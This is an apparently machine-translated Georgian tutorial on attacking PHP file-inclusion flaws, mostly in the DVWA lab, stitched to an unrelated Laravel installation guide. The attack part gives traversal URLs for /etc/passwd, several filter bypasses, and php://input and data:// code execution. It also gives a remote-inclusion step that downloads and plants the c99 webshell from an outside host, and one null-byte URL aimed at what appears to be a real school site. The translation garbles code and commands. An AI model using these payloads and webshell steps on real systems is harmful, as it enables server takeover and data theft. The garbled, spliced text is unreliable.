ზოგჯერ გამოიყენება ჩართული ფაილები, მაგრამ მისამართები შეიძლება გამოიყურებოდეს, მაგალითად, ასე: http://localhost/dvwa/vulnerabilities/fi/?page=file1. ამ შემთხვევაში, სკრიპტს შეიძლება დაემატოს გაფართოება და სკრიპტში ჩაშენდეს ფაილი, რომლის სახელიც საბოლოოდ ჩამოყალიბებულია სკრიპტში. როგორც წესი, ამ ფორმით დაუცველობა ძნელი/შეუძლებელია გამოსაყენებლად.

ხშირად ადამიანებს მოსწონთ მსგავსი რამის მიცემა, როგორც ადგილობრივი ფაილის ჩართვის მაგალითზე:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

როგორც ვხედავთ, იმუშავა. მაგრამ რადგან ვებ ბრაუზერები უგულებელყოფენ /r/n (სიმბოლოებს ახალი ხაზი), შემდეგ ჩვენ უნდა გავხსნათ წყაროს კოდი, რომ ჩანაწერები წაკითხული იყოს:

სამწუხაროდ, /etc/passwd ფაილში პაროლები დიდი ხანია არ არის.

სერვერიდან შეგიძლიათ ამოიღოთ სხვადასხვა პარამეტრების ფაილები, SSL სერთიფიკატები, პრინციპში, ნებისმიერი ფაილი, რომელიც ღიაა ყველა მომხმარებლისთვის წასაკითხად ან რომლის წაკითხვის საკმარისი უფლება აქვს ვებ სერვერს:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

რაც შეეხება გაზიარებულ ჰოსტინგებს, ზოგჯერ შეგიძლიათ გადახედოთ სხვა ადამიანების საქაღალდეებს (ისევ როდის არასწორი პარამეტრიმომხმარებლის უფლებები).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

ამოცანა ართულებს იმ ფაქტს, რომ ჩვენ უნდა ვიცოდეთ ფაილის გზა.

დისტანციური ფაილის ინექციის ოპერაცია

PHP არის ძალიან მოქნილი და დეველოპერებისთვის მოსახერხებელი პროგრამირების ენა. ფაილის ჩაშენების ბრძანებები და ზოგიერთი სხვა შესანიშნავად ამოიცნობს და ამუშავებს არა მხოლოდ ადგილობრივ ფაილებს, არამედ URL-ებსაც...

შევეცადოთ ფაილის სახელის ნაცვლად დავწეროთ საიტის URL https://site/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

ნახეთ რა საინტერესო გამოდის:

მოხდა შემდეგი: PHP თარჯიმანმა მიიღო ბრძანება ფაილის/საიტის https://site/ ჩართვის შესახებ. მან გახსნა/ჩამოტვირთა შესაბამისი მისამართი და გამოაგზავნა მიღებული კოდი PHP პროგრამის სახით შესასრულებლად. ვინაიდან PHP მხოლოდ ახორციელებს კოდს, რომელიც გარშემორტყმულია შესაბამისი ტეგებით (ამ შემთხვევაში, საერთოდ არ იყო კოდი) და გამოაქვს ყველაფერი დანარჩენი ისე, როგორც არის, მთელი ვებგვერდის გვერდი გამოდის როგორც არის.

რა თქმა უნდა, ეს დაუცველობა ჩვენთვის საინტერესოა არა იმიტომ, რომ ჩვენ შეგვიძლია სხვა საიტების ნახვა ერთი საიტის საშუალებით.

  1. უკანა კარის წყაროს კოდის გენერირება/მოძიება
  2. ჩვენ ვქმნით სწორს თვალსაზრისით PHP ფაილიუნდა შესრულდეს სერვერზე, რომელიც ინახავს backdoor-ის წყაროს კოდს PHP ფაილში
  3. შეინახეთ მიღებული კოდი TEXT ფაილში
  4. ატვირთეთ ეს ტექსტური ფაილი კონტროლირებად სერვერზე
  5. ჩვენ ვინახავთ ჩვენს უკანა კარს დაუცველ სერვერზე დისტანციური ფაილის ჩართვის გამოყენებით

მე ხაზგასმით აღვნიშნე სიტყვა "ტექსტი" იმ მიზეზით, რომ ჩვენს კონტროლს დაქვემდებარებული სერვერზე უნდა იყოს ტექსტური ფაილი, რომელიც არ უნდა იყოს შესრულებული ჩვენს სერვერზე. ჩვენს სერვერს მხოლოდ მისი შინაარსის ჩვენება სჭირდება.

Backdoor-ის შესაქმნელად შეგიძლიათ გამოიყენოთ Weevely, PhpSploit, ან შეგიძლიათ მიიღოთ მზა გადაწყვეტილებები. ამჯერად გამოვიყენოთ მზა.

$backdoor ცვლადს მივცემ backdoor-ის წყაროს კოდს, რომელიც გადმოვწერ Github-დან. შემდეგ ვიყენებ file_put_contents ფუნქციას, რომ შევინახო მიღებული წყარო კოდი c99unlimited.php ფაილში.

კოდი მე გამოვაქვეყნე ტექსტური ფაილი

$backdoor = file_get_contents ("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); ექო "შესრულებულია!";

ის ხელმისაწვდომია http://miloserdov.org/sec.txt

ახლა, დისტანციური ჩათვლით, ჩვენ ვტვირთავთ უკანა კარს დაუცველ სერვერზე.

http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

მიაქციეთ ყურადღება გაკეთებულ წარწერას!, გამოსახულია დამწერლობით, ე.ი. ალბათ ყველაფერი გამოვიდა.

ვინაიდან სკრიპტი, რომელიც შეიცავს ფაილებს, მდებარეობს http://localhost/dvwa/vulnerabilities/fi/ დირექტორიაში და ჩვენი ახალი ფაილი backdoor-ით უნდა ყოფილიყო შენახული სახელით c99unlimited.php, უკანა კარის სრული მისამართი მითითებულია. დაუცველი სერვერი უნდა იყოს: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

ჩვენ ვამოწმებთ:

მშვენიერია, ახლა ჩვენ გვაქვს ყველა ფუნქცია, რომელიც შეიძლება დასჭირდეს ვებ სერვერის ადმინისტრატორს... და მათ, ვისაც აქვს წვდომა მათ სერვერზე.

გვერდის ავლით ფილტრაცია ფაილების ადგილობრივად ჩართვისას

მოდით გადავიდეთ საშუალო დონეზე ( საშუალო) უსაფრთხოება (კონფიგურირებადი DVWA უსაფრთხოება).

თუ გადავხედავთ წყაროს კოდს (ღილაკ წყაროს ნახვა):

მაშინ ჩვენ დავინახავთ, რომ ახლა სიმბოლოები ../ გაფილტრულია. ეს ხელს შეგვიშლის გადავიდეთ დირექტორიაში უფრო მაღალ დირექტორიაში, რომელშიც მუშაობს დაუცველი სკრიპტი.

იმათ. არაფერი იმუშავებს ასე:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

მოდით ვიფიქროთ იმაზე, თუ როგორ მუშაობს ფილტრაცია ამ შემთხვევაში? ვთქვათ, სიტყვა "ცუდი" არის გაფილტრული, შემდეგ მსგავსი ხაზი

კარგი ცუდი კარგი

გაფილტვრის შემდეგ ასე გამოიყურება:

კარგი კარგი

და თუ ჩასვით ასეთი ხაზი

ცუდი ცუდი xo

შემდეგ გაფილტვრის შემდეგ ("ცუდი" მოიხსნება) გამოვა

ცუდად

IN ../ ისევ შუაში ვდებთ ../ , თურმე …/./

ვცადოთ ეს მისამართი http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

იმუშავა!

კიდევ ერთი გამოსავალი შეიძლება იყოს სიმბოლოების თექვსმეტობით დაშიფვრაში დაშიფვრა, ამ ხაზის მაგალითი:

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

„../“ შეიძლება შეიცვალოს „%2E%2E%2f“-ით.

ასევე გამოიყენება ორმაგი თექვსმეტობითი კოდირება, რომელშიც „../“ შეიცვალა „%252E%252E%252F“-ით.

ფაილების ლოკალური ჩართვა სკრიპტში გაფართოების დამატებისას

თუ კოდი ფაილების ჩათვლით ასე გამოიყურება:

იმათ. თუ .php ან სხვა გაფართოება დაემატება მომხმარებლის ნებისმიერ შეყვანას, ეს არ იძლევა საშუალებას, რომ მოთხოვნა შეიქმნას ისე, რომ განხორციელდეს შეტევა.

არსებობს რამდენიმე ტექნიკა, რომლებიც შექმნილია გაფართოების გასაუქმებლად, მაგრამ ისინი შეიძლება ჩაითვალოს მოძველებულად, რადგან ისინი მუშაობენ PHP 5.3-ზე და მაშინაც კი, არა ყველა ვერსიაზე. თუმცა, ვებ სერვერის ადმინისტრატორები კლინიკურად კონსერვატიულები არიან და ურჩევნიათ არ შეეხონ არაფერს, თუ ის მუშაობს. იმათ. შესაძლებლობა შეხვდეთ სერვერს ძალიან უძველესი PHP ვერსიაარსებობს და თქვენ უნდა იცოდეთ ამ ტექნიკის შესახებ.

ნულ ბაიტის %00 გამოყენება (null byte)

ნულოვანი ბაიტი ემატება მოთხოვნის ბოლოს გაფართოების იგნორირებას:

http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

მეორე მეთოდს ჰქვია ბილიკების შეტევა. დასკვნა ის არის, რომ PHP წყვეტს 4096 ბაიტზე მეტ ბილიკებს. ამ შემთხვევაში, PHP სწორად ხსნის ფაილს, მაშინაც კი, თუ მისი სახელის ბოლოს არის ხაზები და წერტილები. თუ პარამეტრად გადასცემთ მსგავს რამეს?param1=../../../../etc/passwd/./././././<…>(სადაც ./ მეორდება მრავალ ათასჯერ), შემდეგ ფაილის დასასრული გაფართოებასთან ერთად (რომელიც დაამატა სკრიპტმა, რის შედეგადაც ფაილის სახელი გახდა მოიცავს/../../../.. /etc/passwd/././././.<…>.php) გაუქმდება. და ფაილის სახელი მოიცავს/../../../../etc/passwd/./././././<…>. და რადგან PHP არ არის დაბნეული ფაილის ბოლოს ./ ხაზებით, ის უბრალოდ უგულებელყოფს მათ, მთლიანობაში PHP გახსნის ფაილს ბილიკის გასწვრივ მოიცავს/../../../../etc/ passwd.

ფილტრაციის გვერდის ავლით ფაილის დისტანციური ინექციისთვის

როგორც უკვე ვნახეთ წყაროს კოდში, უსაფრთხოების საშუალო დონე ასევე ფილტრავს http:// და https://.

ახლა http://localhost/dvwa/vulnerabilities/fi/?. ჩვენ გამოვიყენებთ ზუსტად იგივე ტექნიკას, როგორც ლოკალური ჩართვით ფილტრაციის გვერდის ავლით. გენერირებული მოთხოვნა:

http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

და ასევე გაითვალისწინეთ, რომ ის არ არის გაფილტრული, მაგალითად ftp, ე.ი. ეს ვარიანტი იმუშავებს ყოველგვარი ხრიკების გარეშე:

http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

PHP სკრიპტების წყაროს კოდის მიღება php://filter-დან ფაილების ჩართვისას

ეს ხრიკი არ საჭიროებს დისტანციური ფაილის ჩართვას. გამოყენებული იქნება რაიმე სახის მეტა შეფუთვა php: // ფილტრი.

ვთქვათ, რომ გვინდა ვიხილოთ ფაილის საწყისი კოდი file1.php, მაშინ ჩვენი სიტუაციისთვის მოთხოვნა ასე იქნება შედგენილი:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

ყურადღება მიაქციეთ ასოებისა და რიცხვების უაზრო სტრიქონს - ეს არის file1.php ფაილის საწყისი კოდი base64 კოდირებით. ვინაიდან ეს არის base64, ორობითი ფაილებიც მხარდაჭერილია.

მოდით გავშიფროთ ფაილი:

კოდის დისტანციური შესრულება php: // შეყვანით

ეს არ ჰგავს ფაილის ჩაშენებას და ისევ არ მოითხოვს თქვენგან ფაილების ატვირთვას.

დასახმარებლად გამოვიყენებ FireFox გაფართოებას, თქვენ ასევე შეგიძლიათ გამოიყენოთ იგი ან ნებისმიერი სხვა პროგრამა (მაგალითად, curl), რომელსაც შეუძლია მონაცემთა გადაცემა POST მეთოდით.

php://inputაქვს წვდომა დაუმუშავებელ HTTP მოთხოვნის სხეულზე, რათა გაიგოთ რას აკეთებს include("php://input"), გახსენით გვერდი

http://localhost/dvwa/vulnerabilities/fi/?page=php://input

და მოთხოვნის ტექსტში გაგზავნეთ სწორი PHP კოდი (მაგალითად, POST მეთოდის გამოყენებით). ეს საშუალებას მოგცემთ შეასრულოთ დისტანციურ სერვერზე დაშვებული ნებისმიერი ფუნქცია!

კოდის დისტანციური შესრულება მონაცემებით://

გარდა ამისა, PHP მხარს უჭერს URL სქემას მონაცემები: //შეგიძლიათ კოდი პირდაპირ GET პარამეტრში მოათავსოთ! შემდეგი ტესტი არ საჭიროებს რაიმე სპეციალურ ინსტრუმენტებს, უბრალოდ ჩვეულებრივი ბრაუზერი შეტევის შესასრულებლად.

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

ზოგიერთმა ვებ აპლიკაციის ფეიერვალმა შეიძლება შეამჩნიოს საეჭვო სტრიქონი URL-ში და დაბლოკოს მავნე მოთხოვნა. მაგრამ არსებობს სტრიქონის დაშიფვრის გზა მინიმუმ base64 კოდირებით:

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

შეასრულეთ თვითნებური ბრძანებები /proc/self/environ-დან

/proc/self/environარის პროცესის ცვლადების შენახვა. თუ Apache პროცესს აქვს საკმარისი უფლებები მასზე წვდომისთვის, მაშინ ვებ გვერდის გახსნისას, რომელიც შეიცავს მსგავს URL-ს,

www.website.com/view.php?page=../../../../../proc/self/environ

გამოვა რაღაც მსგავსი

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=ტექსტი/html, აპლიკაცია/xml;q=0.9, აპლიკაცია/xhtml+xml, სურათი/png, სურათი/jpeg, სურათი/გიფ, სურათი/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 ვერსია/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET_phURI?QUEST_METHOD=GET_phURI? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [ელფოსტა დაცულია] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

გთხოვთ გაითვალისწინოთ HTTP_USER_AGENT. ამის ნაცვლად, შეგიძლიათ შეცვალოთ სწორი PHP კოდი, რომელიც შესრულდება დისტანციურ სერვერზე.

ლოგების აკრეფა და ინექცია ფაილების ადგილობრივად ჩართვისას

სამწუხაროდ, on უახლესი ვერსიები Apache ეს მეთოდი აღარ მუშაობს.

მისი არსი მდგომარეობს იმაში, რომ თავდამსხმელის კოდი შეყვანილია ვებ სერვერის ჟურნალებში. ეს შეიძლება გაკეთდეს ჩანაცვლებით მომხმარებელი-აგენტი, ან თუნდაც უბრალოდ GET პარამეტრში გადაცემით.

დისტანციური ფაილის სტატიკური ინექცია

სტატიკის მაგალითი მოიცავს:

თქვენ შეგიძლიათ გამოიყენოთ სტატიკური ჩართვა ძალიან ეგზოტიკურ სიტუაციებში. მავნე კოდის ინექციისთვის აუცილებელია განხორციელდეს კაცის შუაგულში შეტევა ორ სერვერს შორის: მათგან ერთი მასპინძლობს ვებ აპლიკაციას ჩათვლით, ხოლო მეორე მასპინძლობს ფაილს, რომელიც გამოიყენება ჩართვისთვის.

Laravel მოითხოვს კომპოზიტორს, რომ მართოს პროექტის დამოკიდებულებები. ასე რომ, სანამ Laravel-ს დააინსტალირებთ, დარწმუნდით, რომ კომპოზიტორი გაქვთ დაინსტალირებული თქვენს სისტემაში. თუ პირველად გესმით Composer-ის შესახებ, ეს არის დამოკიდებულების მართვის ინსტრუმენტი php-სთვის, რომელიც მსგავსია კვანძის npm.

კომპოზიტორის თქვენს აპარატზე დასაყენებლად, შეამოწმეთ ეს პოსტი:

Laravel-ის ინსტალაცია Windows-ზე:

მიჰყევით ქვემოთ მოცემულ ნაბიჯებს, რათა დააინსტალიროთ laravel Windows-ის აპარატზე. არ აქვს მნიშვნელობა თქვენ გაქვთ xampp/wamp სტეკი, ის მუშაობს ორივესთვის. WAMP-ზე დარწმუნდით, რომ დააინსტალირეთ laravel "www" საქაღალდეზე და XAMPP-ზე, აშკარად "htdocs".

STEP-1) გახსენით "htdocs" საქაღალდე XAMPP-ზე, ხანგრძლივად დააჭირეთ SHIFT ღილაკს და დააწკაპუნეთ საქაღალდეზე მარჯვენა ღილაკით და აირჩიეთ "გახსენით ბრძანების ფანჯარა აქ". გარდა ამისა, შეგიძლიათ გახსნათ ბრძანების ფანჯარა და შეცვალოთ დირექტორია "xampp/htdocs".

STEP-2) შეიყვანეთ შემდეგიბრძანება.

კომპოზიტორის შექმნა-პროექტი laravel/laravel my_laravel_site --prefer-dist

აქ "my_laravel_site" არის საქაღალდის სახელი, სადაც დაინსტალირებული იქნება laravel ფაილები. შეცვალეთ ეს თქვენი გემოვნებით.

ნაბიჯი-3) ახლა დროა იყოთ მოთმინება, რადგან ლარაველის ინსტალაციას გარკვეული დრო დასჭირდება.

STEP-4) ინსტალაციის შემდეგ შეცვალეთ დირექტორია "my_laravel_site" (cd "my_laravel_site") ბრძანების სტრიქონში და შეიყვანეთ ქვემოთ მოცემული ბრძანება.

Php ხელოსანთა მომსახურება

STEP-5) ეს აჩვენებს შეტყობინებას, როგორიცაა "Laravel-ის განვითარების სერვერი დაიწყო:" url-თან ერთად.

STEP-6) დააკოპირეთ და ჩასვით url ბრაუზერზე. თუ ყველაფერი კარგად მიდის, დაინახავთ laravel მისასალმებელ ეკრანს.

ნაბიჯი-7) დასრულდა! თქვენ წარმატებით დააინსტალირეთ laravel Windows-ის აპარატზე და მზად ხართ წასასვლელად.

განაცხადის გასაღების დაყენება:

Laravel საჭიროებს მცირე კონფიგურაციას ინსტალაციის შემდეგ. ის მოითხოვს, რომ დააყენოთ განაცხადის გასაღები. ეს არის 32 სიმბოლოსგან შემდგარი შემთხვევითი სტრიქონი, რომელიც გამოიყენება სესიისა და სხვა მგრძნობიარე მონაცემების დაშიფვრისთვის. ჩვეულებრივ, ეს ავტომატურად დაყენდება, როდესაც თქვენ დააინსტალირებთ laravel კომპოზიტორის ან laravel ინსტალერის საშუალებით.

თუ ის არ არის დაყენებული, ეს უნდა გააკეთოთ ხელით. ჯერ დარწმუნდით, რომ დაარქვით ".env.example" ფაილს ".env" თქვენი აპლიკაციის ფესვზე. შემდეგ გახსენით ბრძანების სტრიქონი და გადადით laravel-ის პროექტის საქაღალდეში. ახლა გაუშვით ქვემოთ მოცემული ბრძანება გასაღების შესაქმნელად.

Php ხელოსანი გასაღები: გენერირება

დააკოპირეთ ეს გენერირებული გასაღები APP_KEY ცვლადში ".env" ფაილზე. დაზოგე და დასრულებულია.

ლარაველის კონკრეტული ვერსიის დაყენება:

ზემოთ მოცემული მეთოდი აიძულებს კომპოზიტორს ჩამოტვირთოს და დააინსტალიროს laravel-ის უახლესი ვერსია. თუ გსურთ laravel-ის ადრინდელი ვერსიების დაყენება თქვენს აპარატზე, დარწმუნდით, რომ შეიტანეთ შესაბამისი ვერსიის ნომერი შექმნა-პროექტის ბრძანებაში.

კომპოზიტორის შექმნა-პროექტი laravel/laravel=5.4 your-project-name --prefer-dist ასევე წაიკითხეთ:

ასევე შეგიძლიათ ადვილად დააინსტალირეთ laravel კომპოზიტორის გამოყენებით Windows-ზე. იმედი მაქვს, რომ ეს გაკვეთილი თქვენთვის სასარგებლო იქნება. გთხოვთ, გააზიაროთ ის თქვენს სოციალურ წრეში, თუ მოგწონთ.